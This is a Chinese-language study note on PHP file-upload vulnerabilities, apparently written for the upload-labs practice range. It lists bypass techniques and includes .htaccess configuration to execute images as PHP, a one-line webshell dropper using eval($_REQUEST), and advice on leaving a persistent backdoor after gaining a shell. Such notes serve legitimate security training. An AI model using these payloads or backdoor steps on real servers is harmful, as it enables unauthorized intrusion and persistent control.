1、PHP-原生态-文件上传-检测后缀&黑白名单
2、PHP-原生态-文件上传-检测信息&类型内容
3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
4、PHP-原生态-文件上传-版本缺陷&配置缺陷
文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!
测试环境安装参考:
本地使用phpstudy安装upload-labs靶场
https://github.com/fuzzdb-project/fuzzdb
1、前端JS
如何判断是否是前端验证呢?
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了
如何绕过?
先上传一个图片后缀抓包改成脚本后缀
2、.htaccess(apache独有的配置文件)
一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪个文件可以以脚本方式运行
方式一:
在.htaccess中写入:
<FilesMatch "s.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后再上传s.jpg的木马, 这样s.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了
方式二:
AddType application/x-httpd-php .png
3、MIME类型
Content-Type:image/png || image/jpeg
4、文件头判断
GIF89a
5、黑名单-过滤不严
无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)
6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)
系统大小写敏感属性
7、低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00
8、低版本POST-%00截断
9、黑名单-过滤不严
10、逻辑不严-条件竞争
2.请求不断发包
3.访问创建脚本代码
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
11、二次渲染(后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况)
1.先搞个正常图片,上传图片后导出渲染后的图片
3.最后利用提示的文件包含执行图片后门代码
12、函数缺陷
1.使用move_uploaded_file 函数
2.保存的文件名可控